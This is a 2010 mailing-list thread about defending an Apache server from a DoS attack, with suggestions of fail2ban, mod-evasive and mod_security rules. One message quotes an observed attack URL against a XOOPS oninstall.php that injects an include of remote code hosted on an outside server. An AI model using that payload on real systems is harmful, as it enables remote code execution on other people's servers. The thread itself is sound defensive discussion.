how to protect an apache from a DOS Attack

[Johan Dindaine]

I heard about mod-evasive as well.

2010/4/13 ESGLinux <esggrupos at gmail.com>:
> Hi All,
>
>
> I finally  have resolved the problem with mod_security and two perl scripts
> from Apache-tools (httpd-guardian and blacklist)
>
> I have followed the indications of this web:
>
> http://erethesunrises.net/bbom/articles/apache_mod_security/mod_security
>
> I think the problem is solved. Now I´m waiting for the attackers (with the
> machine gun :-))
>
> thanks for your answers,
>
> ESG
> <http://erethesunrises.net/bbom/articles/apache_mod_security/mod_security>
>
> 2010/4/12 ESGLinux <esggrupos at gmail.com>
>
>> Hi again
>>
>> I have experimented with mod_security to ban access to urls like this:
>>
>> /xoops_lib/modules/protector/oninstall.php?mydirname=a()%7B%7Dinclude($_GET[a]);function%20v&a=
>> http://www.hongkongtravel.co.kr/you4/data/byz9991.txt???
>>
>> but I don´t know if there is a way to use it to limit the number of access
>> from a ip in period of time,
>>
>> anyone knows?
>>
>> ESG
>>
>> 2010/4/12 <m.roth at 5-cent.us>
>>
>> ESG wrote:
>>> >
>>> > I have an apache web server and I having a DOS Attack. Which is the best
>>> > way to protect my webserver from it. ?
>>> >
>>> > What I do now is when I detect the problem I use an iptable rule to ban
>>> > the ip, but I want to do it automatically without manual intervention,
>>> >
>>> > Any idea or suggestion?
>>>
>>> fail2ban
>>>
>>>       mark
>>>
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